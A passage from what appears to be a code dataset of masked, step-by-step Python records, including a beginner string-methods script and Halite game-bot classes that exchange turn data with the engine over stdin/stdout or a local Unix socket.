finally:\n logging.shutdown()\n\nif __name__ == \"__main__\":\n sys.exit(main())\n",
"step-ids": [
2,
3,
4,
5,
6
]
}
|
[
2,
3,
4,
5,
6
] |
from .FactorWarData import Get_FactorWar_Data
|
normal
|
{
"blob_id": "5aa55a96e414ad6b3ceebbcbd71c23a1fd69f0d1",
"index": 6400,
"step-1": "<mask token>\n",
"step-2": "from .FactorWarData import Get_FactorWar_Data\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
}
|
[
0,
1
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
print(string.casefold())
print(len(string))
<|reserved_special_token_0|>
print(string.lower())
print(string.upper())
<|reserved_special_token_0|>
print(a)
print(a.strip())
<|reserved_special_token_0|>
print(b)
<|reserved_special_token_1|>
string = 'Rutuja MaluSare'
print(string.casefold())
print(len(string))
<|reserved_special_token_0|>
print(string.lower())
print(string.upper())
a = ' hello '
print(a)
print(a.strip())
b = 12
print(b)
<|reserved_special_token_1|>
string="Rutuja MaluSare"
print(string.casefold())
print(len(string))
"""string1=input("enter string 1")
print("string1")
print(len(string1))
string2=input("enter string 2")
print("string2")
print(len(string2))
string3=string1+string2
print(len(string3))"""
#lower case
print(string.lower())
#upper case
print(string.upper())
#strip =removes white spaces from start and end
a=" hello "
print(a)
print(a.strip())
#isdigit
b= 12
print(b)
|
flexible
|
{
"blob_id": "024bc95f7255bb8be5c3c4ade9d212c9555a4f01",
"index": 3034,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(string.casefold())\nprint(len(string))\n<mask token>\nprint(string.lower())\nprint(string.upper())\n<mask token>\nprint(a)\nprint(a.strip())\n<mask token>\nprint(b)\n",
"step-3": "string = 'Rutuja MaluSare'\nprint(string.casefold())\nprint(len(string))\n<mask token>\nprint(string.lower())\nprint(string.upper())\na = ' hello '\nprint(a)\nprint(a.strip())\nb = 12\nprint(b)\n",
"step-4": "string=\"Rutuja MaluSare\"\nprint(string.casefold())\nprint(len(string))\n\n\"\"\"string1=input(\"enter string 1\")\nprint(\"string1\")\nprint(len(string1))\n\nstring2=input(\"enter string 2\")\nprint(\"string2\")\nprint(len(string2))\n\n\nstring3=string1+string2\nprint(len(string3))\"\"\"\n\n#lower case\nprint(string.lower())\n#upper case\nprint(string.upper())\n\n#strip =removes white spaces from start and end\na=\" hello \"\nprint(a)\nprint(a.strip())\n\n#isdigit\nb= 12\nprint(b)\n\n\n\n\n\n\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
class GameStdIO:
<|reserved_special_token_0|>
<|reserved_special_token_0|>
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
sys.stdout.write('\n')
sys.stdout.flush()
def _get_string(self):
"""
Read input from the game.
:return: The input read from the Halite engine
:rtype: str
"""
result = sys.stdin.readline().rstrip('\n')
return result
def send_command_queue(self, command_queue):
"""
Issue the given list of commands.
:param list[str] command_queue: List of commands to send the Halite engine
:return: nothing
"""
for command in command_queue:
self._send_string(command)
self._done_sending()
@staticmethod
def _set_up_logging(tag, name):
"""
Set up and truncate the log
:param tag: The user tag (used for naming the log)
:param name: The bot name (used for naming the log)
:return: nothing
"""
log_file = '{}_{}.log'.format(tag, name)
logging.basicConfig(filename=log_file, level=logging.DEBUG,
filemode='w')
logging.info('Initialized bot {}'.format(name))
def __init__(self, name):
"""
Initialize the bot with the given name.
:param name: The name of the bot.
"""
self._name = name
self._send_name = False
tag = int(self._get_string())
GameStdIO._set_up_logging(tag, name)
width, height = [int(x) for x in self._get_string().strip().split()]
self.map = game_map.Map(tag, width, height)
self.update_map()
self.initial_map = copy.deepcopy(self.map)
self._send_name = True
self.done = False
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info('---NEW TURN---')
recv = self._get_string()
if recv == '':
self.close()
self.done = True
return self.map
self.map._parse(recv)
return self.map
def close(self):
pass
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class GameUnix:
<|reserved_special_token_0|>
def _send_string(self, s):
"""
Send data to the game. Call :function:`done_sending` once finished.
:param str s: String to send
:return: nothing
"""
self.sfile.write(s)
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
self.sfile.write('\n')
self.sfile.flush()
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info('---NEW TURN---')
recv = self._get_string()
if recv == '':
self.close()
self.done = True
return self.map
self.map._parse(recv)
return self.map
<|reserved_special_token_0|>
class GameStdIO:
"""
:ivar map: Current map representation
:ivar initial_map: The initial version of the map before game starts
"""
def _send_string(self, s):
"""
Send data to the game. Call :function:`done_sending` once finished.
:param str s: String to send
:return: nothing
"""
sys.stdout.write(s)
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
sys.stdout.write('\n')
sys.stdout.flush()
def _get_string(self):
"""
Read input from the game.
:return: The input read from the Halite engine
:rtype: str
"""
result = sys.stdin.readline().rstrip('\n')
return result
def send_command_queue(self, command_queue):
"""
Issue the given list of commands.
:param list[str] command_queue: List of commands to send the Halite engine
:return: nothing
"""
for command in command_queue:
self._send_string(command)
self._done_sending()
@staticmethod
def _set_up_logging(tag, name):
"""
Set up and truncate the log
:param tag: The user tag (used for naming the log)
:param name: The bot name (used for naming the log)
:return: nothing
"""
log_file = '{}_{}.log'.format(tag, name)
logging.basicConfig(filename=log_file, level=logging.DEBUG,
filemode='w')
logging.info('Initialized bot {}'.format(name))
def __init__(self, name):
"""
Initialize the bot with the given name.
:param name: The name of the bot.
"""
self._name = name
self._send_name = False
tag = int(self._get_string())
GameStdIO._set_up_logging(tag, name)
width, height = [int(x) for x in self._get_string().strip().split()]
self.map = game_map.Map(tag, width, height)
self.update_map()
self.initial_map = copy.deepcopy(self.map)
self._send_name = True
self.done = False
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info('---NEW TURN---')
recv = self._get_string()
if recv == '':
self.close()
self.done = True
return self.map
self.map._parse(recv)
return self.map
def close(self):
pass
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class GameUnix:
<|reserved_special_token_0|>
def _send_string(self, s):
"""
Send data to the game. Call :function:`done_sending` once finished.
:param str s: String to send
:return: nothing
"""
self.sfile.write(s)
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
self.sfile.write('\n')
self.sfile.flush()
def _get_string(self):
"""
Read input from the game.
:return: The input read from the Halite engine
:rtype: str
"""
result = self.sfile.readline().rstrip('\n')
return result
def send_command_queue(self, command_queue):
"""
Issue the given list of commands.
:param list[str] command_queue: List of commands to send the Halite engine
:return: nothing
"""
for command in command_queue:
self._send_string(command)
self._done_sending()
@staticmethod
def _set_up_logging(tag, name):
"""
Set up and truncate the log
:param tag: The user tag (used for naming the log)
:param name: The bot name (used for naming the log)
:return: nothing
"""
log_file = '{}_{}.log'.format(tag, name)
logging.basicConfig(filename=log_file, level=logging.DEBUG,
filemode='w')
logging.info('Initialized bot {}'.format(name))
def __init__(self, name, socket_path='/dev/shm/bot.sock'):
"""
Initialize the bot with the given name.
:param name: The name of the bot.
"""
self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
connected = False
while not connected:
try:
self.s.connect(socket_path)
connected = True
except Exception:
pass
self.sfile = self.s.makefile('rw')
self._name = name
self._send_name = False
tag = int(self._get_string())
GameUnix._set_up_logging(tag, name)
width, height = [int(x) for x in self._get_string().strip().split()]
self.map = game_map.Map(tag, width, height)
self.update_map()
self.initial_map = copy.deepcopy(self.map)
self._send_name = True
self.done = False
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info('---NEW TURN---')
recv = self._get_string()
if recv == '':
self.close()
self.done = True
return self.map
self.map._parse(recv)
return self.map
<|reserved_special_token_0|>
class GameStdIO:
"""
:ivar map: Current map representation
:ivar initial_map: The initial version of the map before game starts
"""
def _send_string(self, s):
"""
Send data to the game. Call :function:`done_sending` once finished.
:param str s: String to send
:return: nothing
"""
sys.stdout.write(s)
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
sys.stdout.write('\n')
sys.stdout.flush()
def _get_string(self):
"""
Read input from the game.
:return: The input read from the Halite engine
:rtype: str
"""
result = sys.stdin.readline().rstrip('\n')
return result
def send_command_queue(self, command_queue):
"""
Issue the given list of commands.
:param list[str] command_queue: List of commands to send the Halite engine
:return: nothing
"""
for command in command_queue:
self._send_string(command)
self._done_sending()
@staticmethod
def _set_up_logging(tag, name):
"""
Set up and truncate the log
:param tag: The user tag (used for naming the log)
:param name: The bot name (used for naming the log)
:return: nothing
"""
log_file = '{}_{}.log'.format(tag, name)
logging.basicConfig(filename=log_file, level=logging.DEBUG,
filemode='w')
logging.info('Initialized bot {}'.format(name))
def __init__(self, name):
"""
Initialize the bot with the given name.
:param name: The name of the bot.
"""
self._name = name
self._send_name = False
tag = int(self._get_string())
GameStdIO._set_up_logging(tag, name)
width, height = [int(x) for x in self._get_string().strip().split()]
self.map = game_map.Map(tag, width, height)
self.update_map()
self.initial_map = copy.deepcopy(self.map)
self._send_name = True
self.done = False
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info('---NEW TURN---')
recv = self._get_string()
if recv == '':
self.close()
self.done = True
return self.map
self.map._parse(recv)
return self.map
def close(self):
pass
<|reserved_special_token_1|>
import sys
import logging
import copy
import socket
from . import game_map
class GameUnix:
"""
:ivar map: Current map representation
:ivar initial_map: The initial version of the map before game starts
"""
def _send_string(self, s):
"""
Send data to the game. Call :function:`done_sending` once finished.
:param str s: String to send
:return: nothing
"""
self.sfile.write(s)
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
self.sfile.write('\n')
self.sfile.flush()
def _get_string(self):
"""
Read input from the game.
:return: The input read from the Halite engine
:rtype: str
"""
result = self.sfile.readline().rstrip('\n')
return result
def send_command_queue(self, command_queue):
"""
Issue the given list of commands.
:param list[str] command_queue: List of commands to send the Halite engine
:return: nothing
"""
for command in command_queue:
self._send_string(command)
self._done_sending()
@staticmethod
def _set_up_logging(tag, name):
"""
Set up and truncate the log
:param tag: The user tag (used for naming the log)
:param name: The bot name (used for naming the log)
:return: nothing
"""
log_file = '{}_{}.log'.format(tag, name)
logging.basicConfig(filename=log_file, level=logging.DEBUG,
filemode='w')
logging.info('Initialized bot {}'.format(name))
def __init__(self, name, socket_path='/dev/shm/bot.sock'):
"""
Initialize the bot with the given name.
:param name: The name of the bot.
"""
self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
connected = False
while not connected:
try:
self.s.connect(socket_path)
connected = True
except Exception:
pass
self.sfile = self.s.makefile('rw')
self._name = name
self._send_name = False
tag = int(self._get_string())
GameUnix._set_up_logging(tag, name)
width, height = [int(x) for x in self._get_string().strip().split()]
self.map = game_map.Map(tag, width, height)
self.update_map()
self.initial_map = copy.deepcopy(self.map)
self._send_name = True
self.done = False
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info('---NEW TURN---')
recv = self._get_string()
if recv == '':
self.close()
self.done = True
return self.map
self.map._parse(recv)
return self.map
def close(self):
self.sfile.close()
self.s.close()
class GameStdIO:
"""
:ivar map: Current map representation
:ivar initial_map: The initial version of the map before game starts
"""
def _send_string(self, s):
"""
Send data to the game. Call :function:`done_sending` once finished.
:param str s: String to send
:return: nothing
"""
sys.stdout.write(s)
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
sys.stdout.write('\n')
sys.stdout.flush()
def _get_string(self):
"""
Read input from the game.
:return: The input read from the Halite engine
:rtype: str
"""
result = sys.stdin.readline().rstrip('\n')
return result
def send_command_queue(self, command_queue):
"""
Issue the given list of commands.
:param list[str] command_queue: List of commands to send the Halite engine
:return: nothing
"""
for command in command_queue:
self._send_string(command)
self._done_sending()
@staticmethod
def _set_up_logging(tag, name):
"""
Set up and truncate the log
:param tag: The user tag (used for naming the log)
:param name: The bot name (used for naming the log)
:return: nothing
"""
log_file = '{}_{}.log'.format(tag, name)
logging.basicConfig(filename=log_file, level=logging.DEBUG,
filemode='w')
logging.info('Initialized bot {}'.format(name))
def __init__(self, name):
"""
Initialize the bot with the given name.
:param name: The name of the bot.
"""
self._name = name
self._send_name = False
tag = int(self._get_string())
GameStdIO._set_up_logging(tag, name)
width, height = [int(x) for x in self._get_string().strip().split()]
self.map = game_map.Map(tag, width, height)
self.update_map()
self.initial_map = copy.deepcopy(self.map)
self._send_name = True
self.done = False
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info('---NEW TURN---')
recv = self._get_string()
if recv == '':
self.close()
self.done = True
return self.map
self.map._parse(recv)
return self.map
def close(self):
pass
<|reserved_special_token_1|>
import sys
import logging
import copy
import socket
from . import game_map
class GameUnix:
"""
:ivar map: Current map representation
:ivar initial_map: The initial version of the map before game starts
"""
def _send_string(self, s):
"""
Send data to the game. Call :function:`done_sending` once finished.
:param str s: String to send
:return: nothing
"""
self.sfile.write(s)
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
self.sfile.write('\n')
self.sfile.flush()
def _get_string(self):
"""
Read input from the game.
:return: The input read from the Halite engine
:rtype: str
"""
result = self.sfile.readline().rstrip('\n')
return result
def send_command_queue(self, command_queue):
"""
Issue the given list of commands.
:param list[str] command_queue: List of commands to send the Halite engine
:return: nothing
"""
for command in command_queue:
self._send_string(command)
self._done_sending()
@staticmethod
def _set_up_logging(tag, name):
"""
Set up and truncate the log
:param tag: The user tag (used for naming the log)
:param name: The bot name (used for naming the log)
:return: nothing
"""
log_file = "{}_{}.log".format(tag, name)
logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w')
logging.info("Initialized bot {}".format(name))
def __init__(self, name, socket_path="/dev/shm/bot.sock"):
"""
Initialize the bot with the given name.
:param name: The name of the bot.
"""
self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
connected = False
while not connected:
try:
self.s.connect(socket_path)
connected = True
except Exception:
pass # Do nothing, just try again
self.sfile = self.s.makefile('rw')
self._name = name
self._send_name = False
tag = int(self._get_string())
GameUnix._set_up_logging(tag, name)
width, height = [int(x) for x in self._get_string().strip().split()]
self.map = game_map.Map(tag, width, height)
self.update_map()
self.initial_map = copy.deepcopy(self.map)
self._send_name = True
self.done = False
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info("---NEW TURN---")
recv = self._get_string()
if recv == "":
self.close()
self.done = True
return self.map # last step map
self.map._parse(recv)
return self.map
def close(self):
self.sfile.close()
self.s.close()
class GameStdIO:
"""
:ivar map: Current map representation
:ivar initial_map: The initial version of the map before game starts
"""
def _send_string(self, s):
"""
Send data to the game. Call :function:`done_sending` once finished.
:param str s: String to send
:return: nothing
"""
sys.stdout.write(s)
def _done_sending(self):
"""
Finish sending commands to the game.
:return: nothing
"""
sys.stdout.write('\n')
sys.stdout.flush()
def _get_string(self):
"""
Read input from the game.
:return: The input read from the Halite engine
:rtype: str
"""
result = sys.stdin.readline().rstrip('\n')
return result
def send_command_queue(self, command_queue):
"""
Issue the given list of commands.
:param list[str] command_queue: List of commands to send the Halite engine
:return: nothing
"""
for command in command_queue:
self._send_string(command)
self._done_sending()
@staticmethod
def _set_up_logging(tag, name):
"""
Set up and truncate the log
:param tag: The user tag (used for naming the log)
:param name: The bot name (used for naming the log)
:return: nothing
"""
log_file = "{}_{}.log".format(tag, name)
logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w')
logging.info("Initialized bot {}".format(name))
def __init__(self, name):
"""
Initialize the bot with the given name.
:param name: The name of the bot.
"""
self._name = name
self._send_name = False
tag = int(self._get_string())
GameStdIO._set_up_logging(tag, name)
width, height = [int(x) for x in self._get_string().strip().split()]
self.map = game_map.Map(tag, width, height)
self.update_map()
self.initial_map = copy.deepcopy(self.map)
self._send_name = True
self.done = False
def update_map(self):
"""
Parse the map given by the engine.
:return: new parsed map
:rtype: game_map.Map
"""
if self._send_name:
self._send_string(self._name)
self._done_sending()
self._send_name = False
logging.info("---NEW TURN---")
recv = self._get_string()
if recv == "":
self.close()
self.done = True
return self.map # last step map
self.map._parse(recv)
return self.map
def close(self):
pass
|
flexible
|
{
"blob_id": "09d31df9c76975377b44470e1f2ba4a5c4b7bbde",
"index": 912,
"step-1": "<mask token>\n\n\nclass GameStdIO:\n <mask token>\n <mask token>\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n pass\n",
"step-2": "<mask token>\n\n\nclass GameUnix:\n <mask token>\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n self.sfile.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n self.sfile.write('\\n')\n self.sfile.flush()\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n <mask token>\n\n\nclass GameStdIO:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n sys.stdout.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n pass\n",
"step-3": "<mask token>\n\n\nclass GameUnix:\n <mask token>\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n self.sfile.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n self.sfile.write('\\n')\n self.sfile.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = self.sfile.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name, socket_path='/dev/shm/bot.sock'):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n connected = False\n while not connected:\n try:\n self.s.connect(socket_path)\n connected = True\n except Exception:\n pass\n self.sfile = self.s.makefile('rw')\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameUnix._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n <mask token>\n\n\nclass GameStdIO:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n sys.stdout.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n pass\n",
"step-4": "import sys\nimport logging\nimport copy\nimport socket\nfrom . import game_map\n\n\nclass GameUnix:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n self.sfile.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n self.sfile.write('\\n')\n self.sfile.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = self.sfile.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name, socket_path='/dev/shm/bot.sock'):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n connected = False\n while not connected:\n try:\n self.s.connect(socket_path)\n connected = True\n except Exception:\n pass\n self.sfile = self.s.makefile('rw')\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameUnix._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n self.sfile.close()\n self.s.close()\n\n\nclass GameStdIO:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n sys.stdout.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n 